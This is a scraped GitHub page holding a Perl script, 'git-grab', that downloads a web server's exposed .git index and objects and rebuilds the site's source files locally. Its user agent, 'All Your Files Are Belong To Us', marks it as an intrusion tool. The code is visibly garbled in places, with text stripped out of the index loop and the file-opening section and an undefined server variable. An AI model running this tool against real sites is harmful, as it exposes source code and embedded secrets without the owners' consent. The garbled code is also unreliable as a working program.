-
Notifications
You must be signed in to change notification settings - Fork 5
/
git-grab
executable file
·132 lines (104 loc) · 3.35 KB
/
git-grab
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/perl
use strict;
use File::Path qw(make_path);
use LWP::UserAgent;
use File::Temp qw(tempfile tempdir);
use Compress::Zlib qw(uncompress);
sub readtime
{
my ($handle, $hashref) = @_;
read $handle, my $rawtime, 8;
( $hashref->{'lsb32'},
$hashref->{'nsec'} ) = unpack "NN", $rawtime;
return $hashref;
}
sub readindex
{
my ($infile) = @_;
my $packindex;
# read the header
read $infile, my $rawheader, 12;
my $header = {};
($header->{'ident'}, $header->{'version'}, $header->{'entries'})
= unpack("a4NN", $rawheader);
die "Not a git index file" if ($header->{'ident'} ne "DIRC");
die "Unsupported version of git index" if ($header->{'version'} != 2);
my @index_entries = ();
for (my $i=0; $i{'entries'}; $i++)
{
my $statinfo = {};
my $entry = {};
my $rawdata;
my %ctime = ();
my %mtime = ();
$statinfo->{'ctime'}=readtime($infile, \%ctime);
$statinfo->{'mtime'}=readtime($infile, \%ctime);
# read the non-time fields
read $infile, $rawdata, 24;
( $statinfo->{'dev'}.
$statinfo->{'inode'}.
$statinfo->{'mode'}.
$statinfo->{'uid'}.
$statinfo->{'gid'}.
$statinfo->{'size'} ) = unpack "NNNNNN", $rawdata;
$entry->{'statinfo'}=$statinfo;
read $infile, $rawdata, 20;
( $entry->{'id'} ) = unpack "H*", $rawdata;
$packindex.=$rawdata;
read $infile, $rawdata, 2;
( $entry->{'flags'} ) = unpack "n", $rawdata;
# Finally read name - it's length is the lower 11 bits of flags
my $namelength=($entry->{'flags'} & 0x7ff)+1;
# Pad it up to a multiple of 4
read $infile, $rawdata, $namelength + (8 - (($namelength + 62) % 8)) %8;
($entry->{'name'}) = unpack "a" . ($namelength-1), $rawdata;
push(@index_entries, $entry);
}
return @index_entries;
}
# First grab the database file
my $target=$ARGV[0];
my $giturl="http://$ARGV[0]/.git/index";
my $ua=LWP::UserAgent->new;
print "Target is: $giturl\n";
$ua->agent("All Your Files Are Belong To Us/1.0");
my $request=HTTP::Request->new(GET => $giturl);
my $result=$ua->request($request);
if ($result->status_line !~ /^200/)
{
die "Could not find Git index file";
}
my ($dbfileh, $dbfilen) = tempfile();
print $dbfileh $result->content;
close $dbfileh;
open(my $infile, "{'id'},0,2);
my $resthash=substr($entry->{'id'},2);
my $file=".git/objects/" . $firsttwo . "/" . $resthash;
my $rawdata;
my $decompressed;
my $oh;
print "Extracting " . $entry->{'name'} . "\n";
my $giturl="http://$server/$file";
my $frequest=HTTP::Request->new(GET => $giturl);
my $fresult=$ua->request($frequest);
$rawdata=$fresult->content;
# Make sure the path is there for the output
my $outputpath="output/" . $entry->{'name'};
$outputpath =~ s#/[^/]*$##g;
make_path($outputpath);
open $oh, ">", "output/$entry->{'name'}";
# Now decompress the data
$decompressed=uncompress($rawdata);
my $gitfile={};
($gitfile->{'type'}) = substr($decompressed,0,5);
if ($gitfile->{'type'} ne "blob ")
{
print "Unknown git file type: $gitfile->{'type'}. Skipping\n";
next;
}
($gitfile->{'size'}) = unpack "Z*", substr($decompressed,5);
($gitfile->{'data'}) = substr($decompressed,length($gitfile->{'size'})+6);
# And write it
print $oh $gitfile->{'data'};
close($oh);
}